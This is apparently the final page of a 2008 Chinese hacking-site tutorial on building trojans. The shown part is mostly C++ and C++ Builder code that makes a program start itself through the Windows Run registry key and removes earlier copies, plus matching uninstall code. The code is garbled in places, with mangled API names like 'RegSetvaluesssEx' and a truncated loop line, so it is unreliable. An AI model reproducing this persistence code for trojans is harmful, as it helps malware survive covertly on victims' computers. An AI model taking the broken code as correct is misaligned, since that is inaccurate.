通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络攻防 >> 文章正文
木马--黑客的利器
责任编辑:酷酷の鱼   更新日期:2008-3-3
 

 

WantClose=true; 
  Close();

  }

  else

  {

  HKEY hkey;

  unsigned long k;

  k=REG_OPENED_EXISTING_KEY;

  long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,

  "SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",

  0,

  NULL,

  REG_OPTION_NON_VOLATILE,

  KEY_SET_valuesss,NULL,

  &hkey,&k);

  RegSetvaluesssEx(hkey,

  "BackGroup",

  0,

  REG_SZ,

  ProgramName.c_str(),

  ProgramName.Length());

  int num=0;

  char str[20];

  DWORD lth=20;

  DWORD type;

  char strv[255];

  DWORD vl=254;

  DWORD Suc;

  do{

  Suc=RegEnumvaluesss(HKEY_LOCAL_MACHINE,

  (DWORD)num,str,

  NULL,

  &type,

  strv,&vl);

  if (strcmp(str,"BGroup")==0)

  {

  DeleteFile(AnsiString(strv));

  RegDeletevaluesss(HKEY_LOCAL_MACHINE,"BGroup");

  break;

  }

  }while(Suc== ERROR_SUCCESS);

  RegCloseKey(hkey);

  }

  自装载程序的卸载代码:

  int num;

  char str2[20];

  DWORD lth=20;

  DWORD type;

  char strv[255];

  DWORD vl=254;

  DWORD Suc;

  do{

  Suc=RegEnumvaluesss(HKEY_LOCAL_MACHINE,

  (DWORD)num,

  str,

  NULL,

  &type,

  strv,

  &vl);

  if (strcmp(str,"BGroup")==0)

  {

  DeleteFile(AnsiString(strv));

  RegDeletevaluesss(HKEY_LOCAL_MACHINE,"BGroup");

  break;

  }

  }while(Suc== ERROR_SUCCESS)

  HKEY hkey;

  unsigned long k;

  k=REG_OPENED_EXISTING_KEY;

  RegCreateKeyEx(HKEY_LOCAL_MACHINE,

  "SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",

  0,

  NULL,

  REG_OPTION_NON_VOLATILE,

  KEY_SET_valuesss,NULL,

  &hkey,

  &k);

  do{

  Suc=RegEnumvaluesss(hkey,(DWORD)num,str, if (strcmp(str,"BackGroup")==0)

  {

  DeleteFile(AnsiString(strv));

  RegDeletevaluesss(HKEY_LOCAL_MACHINE,"BackGroup");

  break;

  }

  }while(Suc== ERROR_SUCCESS)

  RegCloseKey(hkey);

  其中自装载部分使用C++ Builder可以这样写,会比较简化:

  TRegistry & regKey = *new TRegistry();

  regKey.RootKey=HKEY_LOCAL_MACHINE;

  regKey.OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",true);

  if(!regKey.valuesssExists("Interbase Server"))

  {

  regKey.WriteString("Interbase Server",

  "D:\\Program Files\\Borland\\IntrBase\\BIN\\ibserver.exe");

  }

  regKey.CloseKey();

  delete ®Key;

上一页  [1] [2] [3] [4] [5] [6] [7] 下一页

  • 上一篇文章:
  • 下一篇文章: 没有了
  • 最近更新
    固顶文章 一日一动画稿费100元起
    普通文章 瑞星公司03月03日发布 每日计算机病毒及木马播报
    普通文章 黑客攻击网站百万网民受影响 两人已经被刑拘
    普通文章 终结者又出变种 破坏系统还原盗取用户信息
    普通文章 银监会通报5起银行信息科技风险事件
    普通文章 社保查询系统泄露个人信息 该系统已运转八年
    普通文章 “虚拟警察”见效果 有害信息降70%
    普通文章 公安部:国家信息安全等级保护工作稳步推进
    推荐文章 推荐:教你从原理入手扼杀传播病毒恶意网页
    普通文章 真实世界忠告 同样适用于保证网络安全
    热门文章
    普通文章另类杀毒方法 Windows安全模式下杀毒
    普通文章阻挡防火墙安全性的六大误区
    普通文章安全秘诀之交换机安全功能设置
    普通文章高手教你如何针对DDOS部署防御措施
    普通文章俄罗斯成恶意软件第一生产国
    普通文章传百度安全中心即将上线 涉水免费杀毒
    普通文章瑞星公司02月22日发布 每日计算机病毒及木马播报
    普通文章自己动手 删除病毒在电脑中的遗留文件
    推荐文章推荐:电脑初学者学习如何手工检测电脑病毒
    普通文章Web威胁肆虐 主动式防御导2008年安全
    精彩专题